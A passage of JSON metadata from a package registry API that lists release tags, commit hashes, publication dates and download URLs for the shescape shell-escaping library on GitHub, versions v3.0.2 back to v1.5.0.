fests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v3.0.2/manifests"},{"name":"v2.1.15","sha":"107771e62c86af15fdb2638189ed329ed26c24d3","kind":"commit","published_at":"2026-08-01T12:51:37.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v2.1.15","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v2.1.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v2.1.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.15/manifests"},{"name":"v3.0.1","sha":"37303332910d456bf07bbf942c3ed98be156f365","kind":"commit","published_at":"2026-07-22T21:40:23.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v3.0.1","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v3.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v3.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v3.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v3.0.1/manifests"},{"name":"v2.1.14","sha":"ae0faa7bd31331aec3f21c623ee69a50e6663454","kind":"commit","published_at":"2026-07-22T21:31:54.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v2.1.14","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v2.1.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v2.1.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.14/manifests"},{"name":"v3.0.0","sha":"68b9e590b7527fd9dbde91c450055059423942f6","kind":"commit","published_at":"2026-06-13T19:06:11.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v3.0.0","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v3.0.0/manifests"},{"name":"v2.1.13","sha":"4654d644e07d57f49e545561798dc4bb8e07909f","kind":"commit","published_at":"2026-06-13T18:53:15.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v2.1.13","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v2.1.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v2.1.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.13/manifests"},{"name":"v2.1.12","sha":"92a081c97f917cd0baf51592b69795f6fe0f8f86","kind":"commit","published_at":"2026-05-06T12:36:48.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v2.1.12","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v2.1.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v2.1.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.12/manifests"},{"name":"v2.1.11","sha":"b1a0f675275a20c285aaea179e4e8e00b211ef1d","kind":"commit","published_at":"2026-04-07T15:10:46.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v2.1.11","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v2.1.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v2.1.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.11/manifests"},{"name":"v2.1.10","sha":"e8b1f3214e9dff0e800431cbdb1a1cfa79e9052c","kind":"commit","published_at":"2026-03-10T19:56:05.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v2.1.10","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v2.1.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v2.1.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.10/manifests"},{"name":"v2.1.9","sha":"4ff38830f965b7aee67f466295ca5751aa23d5a4","kind":"commit","published_at":"2026-03-06T16:39:55.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v2.1.9","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v2.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v2.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.9/manifests"},{"name":"v2.1.8","sha":"a2544a1c78cae19d0e81a485b997bf0b0fcc2c12","kind":"commit","published_at":"2026-01-25T12:20:09.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v2.1.8","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v2.1.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v2.1.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.8/manifests"},{"name":"v2.1.7","sha":"43753fd0ba098f3cdd2ff8b92d235381d199ce1c","kind":"commit","published_at":"2025-11-22T21:08:00.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v2.1.7","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v2.1.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v2.1.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.7/manifests"},{"name":"v2.1.6","sha":"d13a3127a2b5ecf348821449e44df5d20e93f565","kind":"commit","published_at":"2025-07-14T19:31:40.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v2.1.6","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v2.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v2.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.6/manifests"},{"name":"v2.1.5","sha":"322a4b25a828d4315396a1487c3636aac7adc1ab","kind":"commit","published_at":"2025-06-19T19:54:20.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v2.1.5","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v2.1.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v2.1.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.5/manifests"},{"name":"v2.1.4","sha":"36b12df72bc5aa1b23ca8b726955df46bbbe3767","kind":"commit","published_at":"2025-06-01T13:25:25.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v2.1.4","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v2.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v2.1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.4/manifests"},{"name":"v2.1.3","sha":"6e2047ae5eee04f19d4a77da935fa8d7b6a913f0","kind":"commit","published_at":"2025-05-11T14:14:18.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v2.1.3","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v2.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v2.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.3/manifests"},{"name":"v2.1.2","sha":"155b13b4141750203ce71249f1b0fdc638c7a0d0","kind":"commit","published_at":"2025-03-25T20:48:34.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v2.1.2","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v2.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v2.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.2/manifests"},{"name":"v2.1.1","sha":"e5456b911290343822596d1cb9e1205e5c43bfc8","kind":"commit","published_at":"2024-05-01T08:04:10.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v2.1.1","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v2.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v2.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.1/manifests"},{"name":"v2.1.0","sha":"13ea4a78dc7f856abc2fbbd8fc5b85a25b2610e7","kind":"commit","published_at":"2023-12-23T17:02:50.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v2.1.0","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.0/manifests"},{"name":"v2.0.2","sha":"fca81dae0209552c3d1f0ffb1b4b74203538c818","kind":"commit","published_at":"2023-11-19T15:56:45.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v2.0.2","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v2.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v2.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.0.2/manifests"},{"name":"v2.0.1","sha":"3e4c4d68d053aad7a0c8721e5721e54e7628c905","kind":"commit","published_at":"2023-10-28T11:36:18.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v2.0.1","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.0.1/manifests"},{"name":"v2.0.0","sha":"8c210f7118823f85422dd1d8be4b219e115d3151","kind":"commit","published_at":"2023-09-07T21:42:18.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v2.0.0","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.0.0/manifests"},{"name":"v1.7.4","sha":"5b0d2015093d607840c32782eee33c581e772df0","kind":"commit","published_at":"2023-08-21T08:20:25.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.7.4","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.7.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.7.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.7.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.7.4/manifests"},{"name":"v1.7.3","sha":"05442878aa37dcafd50f6c1d59a7c5fcd46f985f","kind":"commit","published_at":"2023-08-07T07:30:06.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.7.3","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.7.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.7.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.7.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.7.3/manifests"},{"name":"v1.7.2","sha":"3d6b0c0d9068ec48cb4aa975d663708c291f001f","kind":"commit","published_at":"2023-07-07T07:46:38.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.7.2","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.7.2/manifests"},{"name":"v1.7.1","sha":"0640cc95c335c88693326aa72f7534a751ef7da7","kind":"commit","published_at":"2023-06-21T21:14:56.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.7.1","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.7.1/manifests"},{"name":"v1.7.0","sha":"68c4a83c740e8dac79c4e52d5503e660340a9a94","kind":"commit","published_at":"2023-06-12T19:02:12.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.7.0","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.7.0/manifests"},{"name":"v1.6.7","sha":"ce38d76571d9f1bf6e054e90e32e59baf88ccbd2","kind":"commit","published_at":"2023-05-29T10:44:01.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.6.7","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.6.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.6.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.6.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.6.7/manifests"},{"name":"v1.6.6","sha":"d8dcbecf9bd3101559dad80fe2eda2869b8e89d9","kind":"commit","published_at":"2023-04-20T07:11:55.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.6.6","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.6.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.6.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.6.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.6.6/manifests"},{"name":"v1.6.5","sha":"03fa43347d835f4f743a8aca7d1cc557c51e854e","kind":"commit","published_at":"2023-01-26T20:15:19.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.6.5","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.6.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.6.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.6.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.6.5/manifests"},{"name":"v1.6.4","sha":"b6edc97002d18d453007b681f45d73f749bb90c6","kind":"commit","published_at":"2023-01-22T14:42:08.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.6.4","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.6.4/manifests"},{"name":"v1.6.3","sha":"9942daca0e82c5ee407a2c3c0b40aab582f0fe75","kind":"commit","published_at":"2023-01-21T14:04:05.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.6.3","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.6.3/manifests"},{"name":"v1.6.2","sha":"4fe9b2720967f87101bdab3967904bff1cd67cd8","kind":"commit","published_at":"2023-01-03T12:45:53.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.6.2","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.6.2/manifests"},{"name":"v1.6.1","sha":"dbc5c9d1b3325d45a5f060ff0cd4b3ff761cbbbc","kind":"tag","published_at":"2022-10-25T18:29:52.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.6.1","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.6.1/manifests"},{"name":"v1.6.0","sha":"e1915f53479d99b953059d131cbca561ae77948d","kind":"tag","published_at":"2022-10-15T15:05:46.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.6.0","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.6.0/manifests"},{"name":"v1.5.10","sha":"656ecbc798cb21ab95449d3fb4838a36dd09b6d8","kind":"tag","published_at":"2022-08-21T20:20:24.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.5.10","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.5.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.5.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.5.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.5.10/manifests"},{"name":"v1.5.9","sha":"51dda2b6472c1c0ae45b742a10d23ec02d00a751","kind":"tag","published_at":"2022-07-28T07:58:39.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.5.9","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.5.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.5.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.5.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.5.9/manifests"},{"name":"v1.5.8","sha":"8b6a0eefe08f9cd4340c3364aa90dda0acb31f18","kind":"tag","published_at":"2022-07-15T15:13:29.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.5.8","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.5.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.5.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.5.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.5.8/manifests"},{"name":"v1.5.7","sha":"10e1d0f64f38f97dac07d9a5ef1bd394393ed4b8","kind":"tag","published_at":"2022-07-06T09:11:41.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.5.7","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.5.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.5.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.5.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.5.7/manifests"},{"name":"v1.5.6","sha":"ccbb6c9dea5ea706fff7dac765f9004924399145","kind":"tag","published_at":"2022-07-02T09:17:11.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.5.6","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.5.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.5.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.5.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.5.6/manifests"},{"name":"v1.5.5","sha":"6bd574a2863ce0edfe8c84ed27c8c1a084ae00b3","kind":"tag","published_at":"2022-06-05T20:24:05.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.5.5","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.5.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.5.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.5.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.5.5/manifests"},{"name":"v1.5.4","sha":"e125f0a4d9f5dd896e719d171138f546163a424b","kind":"tag","published_at":"2022-03-07T22:03:14.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.5.4","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.5.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.5.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.5.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.5.4/manifests"},{"name":"v1.5.3","sha":"698f5b66601d083874527a92aee3cbe7cb0cb1d9","kind":"tag","published_at":"2022-03-06T11:17:34.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.5.3","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.5.3/manifests"},{"name":"v1.5.2","sha":"698c61be1837bb018de81c40ce39bdf987134d63","kind":"tag","published_at":"2022-02-23T09:00:02.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.5.2","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.5.2/manifests"},{"name":"v1.5.1","sha":"542532a64e24ea85044259345451010ca0cce71e","kind":"tag","published_at":"2022-02-20T16:50:55.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.5.1","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.5.1/manifests"},{"name":"v1.5.0","sha":"4f58766e3bfd2c8ac38ba4e0be371dfdee8d38e5","kind":"tag","published_at":"2022-02-15T08:20:00.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.5.0","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.5.0","tag_url":"https://repos.ecosy